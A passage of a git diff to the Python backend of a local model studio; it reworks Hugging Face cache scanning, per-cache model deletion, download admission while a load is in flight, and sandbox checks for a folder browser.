         rev_id = getattr(revision, "commit_hash", None) or str(id(revision))
@@ -336,18 +484,19 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:
         or "unknown"
     )
     if model_format == "adapter":
-        size_bytes = sum(adapter_blobs.values())
+        selected_blobs = adapter_blobs
     elif model_format == "safetensors":
-        size_bytes = sum(safetensors_blobs.values())
+        selected_blobs = safetensors_blobs
     elif model_format == "checkpoint":
-        size_bytes = sum(checkpoint_blobs.values())
+        selected_blobs = checkpoint_blobs
     else:
-        size_bytes = sum(all_weight_blobs.values())
+        selected_blobs = all_weight_blobs
 
     return _CachedNonGgufPayload(
-        size_bytes = size_bytes,
+        size_bytes = sum(size for size, _mtime in selected_blobs.values()),
         has_runnable_weights = model_format != "unknown",
         model_format = model_format,
+        last_modified = max((mtime for _size, mtime in selected_blobs.values()), default = 0.0),
     )
 
 
@@ -368,6 +517,19 @@ def _read_json_object(path: Path) -> dict:
         return {}
 
 
+def _is_whisper_model_config(config: object) -> bool:
+    if not isinstance(config, dict):
+        return False
+    model_type = config.get("model_type")
+    if isinstance(model_type, str) and model_type.strip().lower() == "whisper":
+        return True
+    architectures = config.get("architectures")
+    return isinstance(architectures, list) and any(
+        isinstance(name, str) and name == "WhisperForConditionalGeneration"
+        for name in architectures
+    )
+
+
 def _read_model_card_frontmatter(path: Path) -> dict:
     try:
         text = path.read_text(encoding = "utf-8")
@@ -398,6 +560,8 @@ def _cached_model_local_metadata(repo_path: Path) -> dict:
 
     result: dict = {}
     config = _read_json_object(snapshot / "config.json")
+    if _is_whisper_model_config(config):
+        result["_hidden_stt"] = True
     quant_method = (
         config.get("quantization_config", {}).get("quant_method")
         if isinstance(config.get("quantization_config"), dict)
@@ -424,11 +588,15 @@ def _cached_model_local_metadata(repo_path: Path) -> dict:
 def _scan_cached_models() -> list[dict]:
     """Synchronous HF-cache disk walk for non-GGUF model repos; runs in a worker thread."""
     cache_scans = all_hf_cache_scans()
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    active_hub_cache = get_hf_cache_paths().hub_cache
 
     seen_lower: dict[str, dict] = {}
     inspected = 0
     skipped_gguf = 0
     skipped_no_weights = 0
+    skipped_stt = 0
     for hf_cache in cache_scans:
         for repo_info in hf_cache.repos:
             inspected += 1
@@ -436,6 +604,15 @@ def _scan_cached_models() -> list[dict]:
                 if str(repo_info.repo_type) != "model":
                     continue
                 repo_id = repo_info.repo_id
+                repo_path = Path(repo_info.repo_path)
+                snapshot_path = _cached_model_snapshot_path(repo_path)
+                # The non-GGUF embedder has no variant downloads; always hide.
+                if _is_hidden_infra_repo(
+                    repo_id,
+                    str(repo_path),
+                    str(snapshot_path) if snapshot_path is not None else None,
+                ):
+                    continue
                 has_main_gguf = _repo_has_gguf_files(repo_info)
                 payload = _repo_non_gguf_model_payload(repo_info)
                 if payload.size_bytes == 0:
@@ -447,7 +624,10 @@ def _scan_cached_models() -> list[dict]:
                     continue
                 key = repo_id.lower()
                 existing = seen_lower.get(key)
-                repo_path = Path(repo_info.repo_path)
+                local_metadata = _cached_model_local_metadata(repo_path)
+                if local_metadata.pop("_hidden_stt", False):
+                    skipped_stt += 1
+                    continue
                 snapshot_partial = hf_cache_scan.is_snapshot_partial(
                     "model",
                     repo_id,
@@ -467,27 +647,40 @@ def _scan_cached_models() -> list[dict]:
                         if snapshot_partial
                         else None
                     ),
-                    **_cached_model_local_metadata(repo_path),
+                    **local_metadata,
                 }
+                last_modified = max(
+                    payload.last_modified,
+                    (existing or {}).get("last_modified", 0.0),
+                )
+                if last_modified > 0:
+                    row["last_modified"] = last_modified
                 row.update(
                     _cache_inventory_fields(
                         repo_id,
                         payload.model_format,
+                        repo_path = repo_path,
+                        snapshot_path = snapshot_path,
+                        active_hub_cache = active_hub_cache,
                         partial = bool(row["partial"]),
                     )
                 )
                 if _prefer_cache_row(row, existing):
                     seen_lower[key] = row
+                elif last_modified > existing.get("last_modified", 0.0):
+                    existing["last_modified"] = last_modified
             except Exception as e:
                 repo_label = getattr(repo_info, "repo_id", "<unknown>")
                 logger.warning(f"Skipping cached model repo {repo_label}: {e}")
                 continue
     cached = sorted(seen_lower.values(), key = lambda c: c["repo_id"])
     logger.info(
-        "Cached model scan: inspected=%d skipped_gguf=%d skipped_no_weights=%d returned=%d",
+        "Cached model scan: inspected=%d skipped_gguf=%d skipped_no_weights=%d "
+        "skipped_stt=%d returned=%d",
         inspected,
         skipped_gguf,
         skipped_no_weights,
+        skipped_stt,
         len(cached),
     )
     return cached
diff --git a/studio/backend/hub/services/models/common.py b/studio/backend/hub/services/models/common.py
index f381bffe9c..4c0e296fdc 100644
--- a/studio/backend/hub/services/models/common.py
+++ b/studio/backend/hub/services/models/common.py
@@ -150,7 +150,9 @@ def _prefer_complete_larger(
     return candidate_size_bytes > existing_size_bytes
 
 
-def _gguf_variant_state_summary(repo_id: str) -> tuple[bool, int]:
+def _gguf_variant_state_summary(
+    repo_id: str, *, hub_cache: Optional[str | Path] = None
+) -> tuple[bool, int]:
     """Whether GGUF variant-scoped state exists and its expected size; a cancelled/in-progress variant may have only manifests/markers/`.incomplete` blobs, which inventory needs to avoid a generic fallback row."""
     from hub.utils import download_manifest
 
@@ -159,10 +161,16 @@ def _gguf_variant_state_summary(repo_id: str) -> tuple[bool, int]:
     for variant, _path in download_manifest.iter_variant_manifests(
         "model",
         repo_id,
+        hub_cache = hub_cache,
     ):
         key = variant.lower()
         variant_keys.add(key)
-        manifest = download_manifest.read_manifest("model", repo_id, variant)
+        manifest = download_manifest.read_manifest(
+            "model",
+            repo_id,
+            variant,
+            hub_cache = hub_cache,
+        )
         if manifest is None:
             continue
         size_by_variant[key] = max(
@@ -172,6 +180,7 @@ def _gguf_variant_state_summary(repo_id: str) -> tuple[bool, int]:
     for variant, _path in download_manifest.iter_variant_markers(
         "model",
         repo_id,
+        hub_cache = hub_cache,
     ):
         variant_keys.add(variant.lower())
     return bool(variant_keys), sum(size_by_variant.values())
@@ -432,8 +441,13 @@ def _local_model_info(
     base_model_source: Optional[str] = None,
     adapter_type: Optional[str] = None,
     training_method: Optional[str] = None,
+    active_cache: Optional[bool] = None,
 ) -> LocalModelInfo:
-    load_id = model_id if source == "hf_cache" and model_id else str(load_path)
+    load_id = (
+        model_id
+        if source == "hf_cache" and model_id and active_cache is not False
+        else str(load_path)
+    )
     semantic_id = model_id or str(load_path)
     return LocalModelInfo(
         id = load_id,
@@ -445,6 +459,7 @@ def _local_model_info(
         ),
         load_id = load_id,
         model_id = model_id,
+        active_cache = active_cache if source == "hf_cache" else None,
         display_name = display_name or (scan_path.stem if scan_path.is_file() else scan_path.name),
         path = str(load_path),
         size_bytes = max(0, int(size_bytes or 0)),
@@ -476,6 +491,7 @@ def _classify_local_path(
     model_id: Optional[str] = None,
     updated_at: Optional[float] = None,
     partial: bool = False,
+    active_cache: Optional[bool] = None,
 ) -> list[LocalModelInfo]:
     load_path = load_path or scan_path
     files = (
@@ -512,6 +528,7 @@ def _classify_local_path(
                 requires_variant = scan_path.is_dir(),
                 format_variant = variant,
                 size_bytes = gguf_size_bytes,
+                active_cache = active_cache,
             )
         )
 
@@ -574,6 +591,7 @@ def _classify_local_path(
                 ),
                 adapter_type = adapter_type if model_format == "adapter" else None,
                 training_method = training_method if model_format == "adapter" else None,
+                active_cache = active_cache,
             )
         )
     elif not rows:
@@ -592,6 +610,7 @@ def _classify_local_path(
                 updated_at = updated_at,
                 partial = partial or trusted_hf_cache_repo,
                 size_bytes = size_bytes,
+                active_cache = active_cache,
             )
         )
 
diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py
index e7c54fc75b..c736908058 100644
--- a/studio/backend/hub/services/models/deletion.py
+++ b/studio/backend/hub/services/models/deletion.py
@@ -19,8 +19,10 @@ from hub.utils import inventory_scan as hf_cache_scan
 from hub.utils.gguf import extract_quant_label, extract_quant_token
 from hub.utils.hf_cache_state import (
     INCOMPLETE_SUFFIX,
+    iter_repo_cache_dirs,
     purge_partial_repo,
     purge_repo_cache_dirs,
+    resolve_delete_target_root,
 )
 from hub.utils.paths import (
     is_valid_gguf_variant as _is_valid_gguf_variant,
@@ -184,6 +186,7 @@ def _delete_gguf_variant_from_repos(
     hf_token: Optional[str],
     *,
     sibling_active: bool = False,
+    root: Optional[Path] = None,
 ) -> dict:
     failures: list[str] = []
     removed_snapshots = 0
@@ -265,6 +268,7 @@ def _delete_gguf_variant_from_repos(
         hf_token,
         extra_hashes = frozenset(completed_hashes),
         companions = not sibling_active,
+        root = root,
     )
     if incomplete_result.unresolved:
         raise HTTPException(
@@ -276,7 +280,7 @@ def _delete_gguf_variant_from_repos(
             ),
         )
 
-    state_purged = download_manifest.purge_state("model", repo_id, variant)
+    state_purged = download_manifest.purge_state("model", repo_id, variant, hub_cache = root)
     # Reclaim the empty quant folder so it stops 404ing on delete.
     removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
     removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
@@ -316,6 +320,8 @@ def reclaim_replaced_gguf_variant(
     variant: str,
     keep_main_hashes: frozenset[str],
     hf_token: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> dict:
     """Prune stale main-GGUF files for a variant after a replacement verified.
 
@@ -366,12 +372,22 @@ def reclaim_replaced_gguf_variant(
             "reason": "scan_failed",
         }
 
+    if hub_cache is None:
+        from utils.hf_cache_settings import get_hf_cache_paths
+        hub_cache = get_hf_cache_paths().hub_cache
+    try:
+        target_hub_cache = Path(hub_cache).expanduser().resolve(strict = False)
+    except (OSError, RuntimeError, ValueError):
+        target_hub_cache = Path(hub_cache).expanduser()
+
     candidate_repos = [
         repo_info
         for hf_cache in cache_scans
         for repo_info in hf_cache.repos
         if str(getattr(repo_info, "repo_type", "")) == "model"
         and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower()
+        and getattr(repo_info, "repo_path", None)
+        and Path(repo_info.repo_path).parent.resolve(strict = False) == target_hub_cache
     ]
     try:
         matched_repo_ids = resolve_destructive_repo_ids(
@@ -408,7 +424,13 @@ def reclaim_replaced_gguf_variant(
             and extract_quant_label(name).lower() == variant_key,
         )
         for snap, blob, name in matches:
-            blob_hash = _blob_hash_from_path(blob) if blob is not None else None
+            # Prune only a file we can identify as a real, stale cache blob. A
+            # no-symlink snapshot file has no identifiable blob hash, so keep it.
+            blob_hash = (
+                _blob_hash_from_path(blob)
+                if cache_inventory._is_real_cache_blob(blob, repo_dir)
+                else None
+            )
             if blob_hash is None or blob_hash in keep_main_hashes:
                 continue
             stale_matches.append((snap, blob, name))
@@ -487,10 +509,24 @@ def reclaim_replaced_gguf_variant(
 
 
 def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool:
-    """True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``."""
+    """Match a loaded repo ID or an on-disk path inside any copy of the repo."""
     rid = repo_id.lower()
     lid = loaded_id.lower()
-    return lid == rid or lid.startswith(f"{rid}/")
+    if lid == rid or lid.startswith(f"{rid}/"):
+        return True
+
+    try:
+        loaded_path = Path(loaded_id).expanduser().resolve(strict = False)
+    except (OSError, RuntimeError, ValueError):
+        return False
+    for repo_dir in iter_repo_cache_dirs("model", repo_id):
+        try:
+            resolved_repo = repo_dir.resolve(strict = False)
+            if loaded_path == resolved_repo or loaded_path.is_relative_to(resolved_repo):
+                return True
+        except (OSError, RuntimeError, ValueError):
+            continue
+    return False
 
 
 def _loaded_repo_variant_blocks_delete(
@@ -554,6 +590,7 @@ async def delete_cached_model_response(
     repo_id: str,
     variant: Optional[str] = None,
     hf_token: Optional[str] = None,
+    cache_path: Optional[str] = None,
 ):
     """Delete a cached model repo (or a specific GGUF variant) from the HF cache.
 
@@ -597,14 +634,19 @@ async def delete_cached_model_response(
         )
         raise HTTPException(status_code = 400, detail = detail)
     try:
-        return await asyncio.to_thread(_delete_cached_model_blocking, repo_id, variant, hf_token)
+        return await asyncio.to_thread(
+            _delete_cached_model_blocking, repo_id, variant, hf_token, cache_path
+        )
     finally:
         downloads.registry.end_delete(repo_key, variant)
         cache_inventory.invalidate_hf_cache_scans()
 
 
 def _delete_cached_model_blocking(
-    repo_id: str, variant: Optional[str], hf_token: Optional[str]
+    repo_id: str,
+    variant: Optional[str],
+    hf_token: Optional[str],
+    cache_path: Optional[str] = None,
 ) -> dict:
     try:
         # If a sibling quant is downloading concurrently, restrict this delete to
@@ -615,13 +657,26 @@ def _delete_cached_model_blocking(
 
         cache_scans = cache_inventory.all_hf_cache_scans()
 
-        candidate_entries = []
+        # A repo can live in several remembered caches. Group its copies by the
+        # cache root that owns each, then target exactly one cache so a delete
+        # never removes copies in other, previously selected caches.
+        owners: dict = {}
         for hf_cache in cache_scans:
             for repo_info in hf_cache.repos:
                 if str(repo_info.repo_type) != "model":
                     continue
-                if repo_info.repo_id.lower() == repo_id.lower():
-                    candidate_entries.append((hf_cache, repo_info))
+                if repo_info.repo_id.lower() != repo_id.lower():
+                    continue
+                try:
+                    owner = Path(repo_info.repo_path).parent.resolve(strict = False)
+                except (OSError, RuntimeError, ValueError):
+                    continue
+                owners.setdefault(owner, []).append((hf_cache, repo_info))
+
+        target_root = resolve_delete_target_root("model", repo_id, cache_path, owners.keys())
+        if target_root is None:
+            raise HTTPException(status_code = 400, detail = "Invalid cache_path")
+        candidate_entries = owners.get(target_root, [])
 
         matched_repo_ids = resolve_destructive_repo_ids(
             repo_id,
@@ -636,10 +691,15 @@ def _delete_cached_model_blocking(
 
         if not target_entries:
             if variant is None:
-                cache_purged = purge_repo_cache_dirs("model", repo_id) or purge_partial_repo(
-                    "model", repo_id
+                cache_purged = purge_repo_cache_dirs(
+                    "model", repo_id, root = target_root
+                ) or purge_partial_repo("model", repo_id, root = target_root)
+                state_purged = (
+                    download_manifest.purge_all_state_for_repo(
+                        "model", repo_id, hub_cache = target_root
+                    )
+                    > 0
                 )
-                state_purged = download_manifest.purge_all_state_for_repo("model", repo_id) > 0
                 if cache_purged or state_purged:
                     return {"status": "deleted", "repo_id": repo_id}
             if variant:
@@ -648,6 +708,7 @@ def _delete_cached_model_blocking(
                     variant,
                     hf_token,
                     companions = not sibling_active,
+                    root = target_root,
                 )
                 if incomplete_result.unresolved:
                     raise HTTPException(
@@ -662,6 +723,7 @@ def _delete_cached_model_blocking(
                     "model",
                     repo_id,
                     variant,
+                    hub_cache = target_root,
                 )
                 if incomplete_result.deleted > 0 or state_purged:
                     return {
@@ -678,6 +740,7 @@ def _delete_cached_model_blocking(
                 [repo for _cache, repo in target_entries],
                 hf_token,
                 sibling_active = sibling_active,
+                root = target_root,
             )
 
         deleted_revisions = False
@@ -696,9 +759,11 @@ def _delete_cached_model_blocking(
             delete_strategy.execute()
             deleted_revisions = True
 
-        cache_purged = purge_repo_cache_dirs("model", repo_id)
-        partial_purged = purge_partial_repo("model", repo_id)
-        state_purged = download_manifest.purge_all_state_for_repo("model", repo_id) > 0
+        cache_purged = purge_repo_cache_dirs("model", repo_id, root = target_root)
+        partial_purged = purge_partial_repo("model", repo_id, root = target_root)
+        state_purged = (
+            download_manifest.purge_all_state_for_repo("model", repo_id, hub_cache = target_root) > 0
+        )
 
         if not (deleted_revisions or cache_purged or partial_purged or state_purged):
             raise HTTPException(status_code = 404, detail = "No revisions found for model")
diff --git a/studio/backend/hub/services/models/downloads.py b/studio/backend/hub/services/models/downloads.py
index c2ffe7bffc..c93b21c082 100644
--- a/studio/backend/hub/services/models/downloads.py
+++ b/studio/backend/hub/services/models/downloads.py
@@ -60,12 +60,37 @@ def _job_status(
     return DownloadJobStatus(state = state, error = error, generation = generation)
 
 
+def _load_in_flight(repo_id: str) -> bool:
+    try:
+        from core.inference.llama_cpp import hf_gguf_load_in_flight
+        return hf_gguf_load_in_flight(repo_id)
+    except Exception:
+        return False
+
+
+def _load_in_flight_error(repo_id: str) -> HTTPException:
+    return HTTPException(
+        status_code = 409,
+        detail = (
+            f"A model load for '{repo_id}' is in progress and may be "
+            "downloading it. Wait for the load to finish (or cancel it), "
+            "then start the download."
+        ),
+    )
+
+
+def _reject_if_load_in_flight(repo_id: str) -> None:
+    if _load_in_flight(repo_id):
+        raise _load_in_flight_error(repo_id)
+
+
 def _spawn_download_worker(
     repo_id: str,
     variant: Optional[str],
     hf_token: Optional[str],
     use_xet: bool = True,
     protected_blob_hashes: Optional[frozenset[str]] = None,
+    cache_env: Optional[dict[str, str]] = None,
 ) -> subprocess.Popen:
     args = ["--repo-id", repo_id]
     if variant:
@@ -75,6 +100,7 @@ def _spawn_download_worker(
         hf_token,
         use_xet = use_xet,
         protected_blob_hashes = protected_blob_hashes,
+        cache_env = cache_env,
     )
 
 
@@ -89,6 +115,9 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
     # Canonicalize so two different-cased paste-ins share one job + cache dir.
     repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model")
 
+    # Avoid concurrent writers to the same HF cache files.
+    _reject_if_load_in_flight(repo_id)
+
     variant = (body.gguf_variant or "").strip() or None
     if variant is not None and not _is_valid_gguf_variant(variant):
         raise HTTPException(
@@ -98,6 +127,10 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
     key = _download_job_key(repo_id, variant)
     use_xet = download_lifecycle.resolve_effective_use_xet(body.use_xet)
     transport = download_lifecycle.resolve_transport(use_xet)
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    cache_paths = get_hf_cache_paths()
+    cache_env = cache_paths.child_env({})
     variant_blob_hashes = frozenset()
     variant_progress_blob_hashes = frozenset()
     completed_baseline_bytes = 0
@@ -147,9 +180,14 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
         blob_hashes = variant_blob_hashes,
         progress_blob_hashes = variant_progress_blob_hashes,
         completed_baseline_bytes = completed_baseline_bytes,
+        admission_check = lambda: not _load_in_flight(repo_id),
+        hub_cache = str(cache_paths.hub_cache),
+        xet_cache = str(cache_paths.xet_cache),
     )
     generation = _registry.current_generation(key)
     if not claimed:
+        if claim_state == "admission_blocked":
+            raise _load_in_flight_error(repo_id)
         # claim_state is the blocking job's state. The client can attach only
         # when the blocker is this key's own in-flight job (adoptable); a
         # cross-variant conflict or in-progress delete is not accepted.
@@ -159,7 +197,12 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
             "accepted": _registry.adoptable(key),
             "generation": generation,
         }
-    download_manifest.clear_cancel_marker("model", repo_id, variant)
+    download_manifest.clear_cancel_marker(
+        "model",
+        repo_id,
+        variant,
+        hub_cache = cache_paths.hub_cache,
+    )
     # Blobs a concurrent same-repo variant is already writing (e.g. a shared
     # mmproj). The worker must not purge these during cache preparation.
     protected_blob_hashes = _registry.peer_blob_hashes(key) if variant else frozenset()
@@ -174,6 +217,7 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
             hf_token,
             use_xet = use_xet,
             protected_blob_hashes = protected_blob_hashes,
+            cache_env = cache_env,
         ),
         hf_token = hf_token,
         label = label,
diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py
index eb137127fb..effb6a32ae 100644
--- a/studio/backend/hub/services/models/folder_browser.py
+++ b/studio/backend/hub/services/models/folder_browser.py
@@ -15,6 +15,7 @@ from loggers import get_logger
 from hub.schemas.inventory import BrowseEntry, BrowseFoldersResponse
 from hub.storage.scan_folders import (
     contains_sensitive_path_component,
+    is_denied_system_path,
     list_scan_folders,
 )
 from hub.utils.paths import (
@@ -27,7 +28,11 @@ from hub.utils.paths import (
     studio_root,
     well_known_model_dirs,
 )
-from utils.paths.external_media import linux_run_media_mount_roots
+from utils.paths.external_media import (
+    linux_run_media_mount_roots,
+    macos_volume_roots,
+    windows_drive_roots,
+)
 from hub.services.models.common import _safe_is_dir
 from hub.services.models.local_inventory import _resolve_hf_cache_dir
 
@@ -158,8 +163,14 @@ def _looks_like_model_dir(directory: Path) -> bool:
     return False
 
 
-def _build_browse_allowlist() -> list[Path]:
-    """Root directories the browser may walk (also seeds the suggestion chips): HOME, resolved HF cache dirs, Studio outputs/exports/root, registered scan folders, and well-known local-LLM dirs. Each is added only if it resolves to a real directory so the sandbox has no dead boundary."""
+def _build_browse_allowlist(
+    media_roots: Optional[list[Path]] = None, drive_roots: Optional[list[Path]] = None
+) -> list[Path]:
+    """Root directories the browser may walk (also seeds the suggestion chips): HOME, resolved HF cache dirs, Unsloth outputs/exports/root, registered scan folders, and well-known local-LLM dirs. Each is added only if it resolves to a real directory so the sandbox has no dead boundary.
+
+    *media_roots* / *drive_roots* let the caller pass already-probed
+    removable-media and Windows drive roots so they aren't scanned again (a
+    disconnected mapped drive can make each probe slow); probed here when ``None``."""
     from hub.storage.scan_folders import list_scan_folders
 
     candidates: list[Path] = []
@@ -176,9 +187,21 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
-    for p in linux_run_media_mount_roots():
+    if media_roots is None:
+        media_roots = [*linux_run_media_mount_roots(), *macos_volume_roots()]
+    if drive_roots is None:
+        drive_roots = windows_drive_roots()
+    for p in media_roots:
+        _add(p)
+    for p in drive_roots:
         _add(p)
     _add(_resolve_hf_cache_dir())
+    try:
+        from utils.hf_cache_settings import known_hf_cache_homes
+        for cache_home in known_hf_cache_homes():
+            _add(cache_home)
+    except Exception:  # noqa: BLE001 -- best-effort
+        pass
     try:
         _add(hf_default_cache_dir())
     except Exception:  # noqa: BLE001 -- best-effort
@@ -218,7 +241,14 @@ def _build_browse_allowlist() -> list[Path]:
 
 
 def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
-    """True if *target* equals or descends from any allowed root; uses ``os.path.realpath`` so symlinks cannot escape the sandbox."""
+    """True if *target* equals or descends from any allowed root; uses ``os.path.realpath`` so symlinks cannot escape the sandbox.
+
+    A Windows drive root (``D:\\``) authorizes its descendants, but a bare POSIX
+    root (``/``) must NOT: a single ``/`` allowlist entry (e.g. a legacy scan
+    folder) would otherwise authorize every absolute path, reaching ``/var``,
+    ``/root``, etc. the denylist does not cover. Mirrors the legacy browser so
+    both treat ``/`` identically.
+    """
     try:
         target_real = os.path.normcase(os.path.realpath(str(target)))
     except OSError:
@@ -228,13 +258,25 @@ def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
             root_real = os.path.normcase(os.path.realpath(str(root)))
         except OSError:
             continue
+        if target_real == root_real:
+            return True
+        drive, tail = os.path.splitdrive(root_real)
+        if os.path.dirname(root_real) == root_real and not drive:
+            # Bare POSIX filesystem root ("/"): equality above is the only
+            # match; do not let it authorize arbitrary descendants.
+            continue
+        if drive.startswith(("\\\\", "//")) and not tail:
+            # Bare UNC share root (\\server\share): os.path.commonpath raises
+            # "can't mix absolute and relative" on it, so authorize its
+            # descendants with a boundary-safe prefix test (normcase applied).
+            if target_real.startswith(root_real.rstrip("\\/") + os.sep):
+                return True
+            continue
         try:
             if os.path.commonpath([target_real, root_real]) == root_real:
                 return True
         except ValueError:
             continue
-        if target_real == root_real:
-            return True
     return False
 
 
@@ -347,6 +389,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                     status_code = 403,
                     detail = "Credential or configuration directories are not browseable.",
                 )
+            if is_denied_system_path(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "System directories are not browseable.",
+                )
             current = resolved_child
 
         if contains_sensitive_path_component(str(current)):
@@ -354,6 +401,13 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                 status_code = 403,
                 detail = "Credential or configuration directories are not browseable.",
             )
+        # Zero-component case: the requested path IS an allowlist root
+        # (e.g. a legacy-registered "/" or a Windows drive root).
+        if is_denied_system_path(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "System directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -382,9 +436,13 @@ def browse_folders_response(
     """
     from hub.storage.scan_folders import list_scan_folders
 
+    # Probe removable-media and Windows drive roots once; the allowlist and
+    # chips reuse the result so a disconnected mapped drive isn't scanned twice.
+    media_roots = [*linux_run_media_mount_roots(), *macos_volume_roots()]
+    drive_roots = windows_drive_roots()
     # Build the allowlist once -- the sandbox check and suggestion chips share
     # it so chips are always navigable.
-    allowed_roots = _build_browse_allowlist()
+    allowed_roots = _build_browse_allowlist(media_roots, drive_roots)
 
     try:
         target = _resolve_browse_target(path, allowed_roots)
@@ -440,6 +498,15 @@ def browse_folders_response(
             # descending into them is refused and registration rejects them.
             if contains_sensitive_path_component(name):
                 continue
+            # Same for denied system dirs (C:\Windows, /etc, ...): descent 403s,
+            # so don't render them as clickable rows. Resolve first so a
+            # symlink/junction into a denied dir is hidden too, not just a literal name.
+            try:
+                resolved_child = os.path.realpath(str(child))
+            except (OSError, ValueError):
+                resolved_child = str(child)
+            if is_denied_system_path(resolved_child):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -487,13 +554,22 @@ def browse_folders_response(
             return
         if resolved in seen_sug:
             return
+        # Drop a denied system dir (e.g. a stale scan-folder row) so it never
+        # becomes a chip that 403s on click. Drive roots stay: only their
+        # system subdirectories are denied, not the root itself.
+        if is_denied_system_path(resolved):
+            return
         if _safe_is_dir(resolved):
             seen_sug.add(resolved)
             suggestions.append(resolved)
 
     # Home first as the safe fallback.
     _add_sug(Path.home())
-    for p in linux_run_media_mount_roots():
+    # Reuse the roots probed for the allowlist above (no second drive scan).
+    for p in media_roots:
+        _add_sug(p)
+    # Windows drive roots so the user can hop between C:, D:, E: ...
+    for p in drive_roots:
         _add_sug(p)
     # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
     try:
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 0147bba19a..533fd2ca5a 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -9,6 +9,7 @@ import asyncio
 import threading
 import time
 from collections import OrderedDict
+from pathlib import Path
 from typing import NamedTuple, Optional
 
 from fastapi import HTTPException
@@ -22,6 +23,7 @@ from hub.utils.hf_errors import hf_error_status
 from hub.utils.hf_cache_state import (
     INCOMPLETE_SUFFIX,
     iter_destructive_repo_cache_dirs,
+    repo_cache_dir_name,
 )
 from hub.utils.gguf import (
     extract_quant_label,
@@ -233,8 +235,14 @@ def _manifest_variant_blob_hashes(
     variant: str,
     *,
     include_companions: bool = True,
+    repo_cache_dir: Optional[Path] = None,
 ) -> frozenset[str]:
-    manifest = download_manifest.read_manifest("model", repo_id, variant)
+    manifest = download_manifest.read_manifest(
+        "model",
+        repo_id,
+        variant,
+        hub_cache = repo_cache_dir.parent if repo_cache_dir is not None else None,
+    )
     if manifest is None:
         return frozenset()
     variant_key = variant.lower()
@@ -257,6 +265,7 @@ def gguf_variant_blob_hashes(
     *,
     include_companions: bool = True,
     allow_remote: bool = True,
+    repo_cache_dir: Optional[Path] = None,
 ) -> frozenset[str]:
     key = _variant_blob_hash_cache_key(
         repo_id,
@@ -271,9 +280,9 @@ def gguf_variant_blob_hashes(
         repo_id,
         variant,
         include_companions = include_companions,
+        repo_cache_dir = repo_cache_dir,
     )
     if hashes:
-        _variant_hash_cache_set(key, hashes)
         return hashes
     requirement_key = _variant_hash_cache_key(repo_id, variant, hf_token)
     requirement = _variant_requirement_cache_get(requirement_key)
@@ -287,11 +296,22 @@ def gguf_variant_blob_hashes(
     return frozenset()
 
 
-def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]:
-    return hf_cache_scan.partial_transport_for("model", repo_id, variant)
+def _partial_transport_for_variant(
+    repo_id: str,
+    variant: str,
+    repo_cache_dir: Optional[Path] = None,
+) -> Optional[str]:
+    return hf_cache_scan.partial_transport_for(
+        "model",
+        repo_id,
+        variant,
+        repo_cache_dir,
+    )
 
 
-def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]:
+def _local_main_gguf_blobs_by_quant(
+    repo_id: str, repo_cache_dir: Optional[Path] = None
+) -> dict[str, dict[str, set[str]]]:
     """Map quant -> repo-relative expected GGUF filename -> cached blob hashes.
 
     Shared companions are copied into each main-quant bucket so update checks can
@@ -313,6 +333,14 @@ def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str
                 continue
             if str(getattr(repo_info, "repo_id", "")).lower() != target_lower:
                 continue
+            if repo_cache_dir is not None:
+                try:
+                    if Path(repo_info.repo_path).resolve(strict = False) != repo_cache_dir.resolve(
+                        strict = False
+                    ):
+                        continue
+                except (AttributeError, OSError, RuntimeError, ValueError):
+                    continue
             for path, hashes in cache_inventory._repo_gguf_blob_map(
                 repo_info,
                 include_companions = True,
@@ -337,6 +365,22 @@ def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str
     return result
 
 
+def _size_identity_matches(local_set: set[str], remote_size: int) -> bool:
+    """Whether a cached file with NO blob hash is current, judged by size.
+
+    A size token only lands in ``local_set`` for a file the cache has no blob for,
+    so it never loosens the hash comparison for a normal file. Tradeoff: an
+    equal-size requant is missed, versus the status quo where every no-blob GGUF
+    shows a phantom update that no re-download clears.
+    """
+    size = int(remote_size or 0)
+    if size <= 0:
+        return False
+    from hub.services.models import cache_inventory
+
+    return cache_inventory.local_size_identity(size) in local_set
+
+
 def _variant_update_available_from_requirement(
     local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
 ) -> bool:
@@ -355,8 +399,13 @@ def _variant_update_available_from_requirement(
         if not remote_blob:
             continue
         local_set = local_by_posix.get(path)
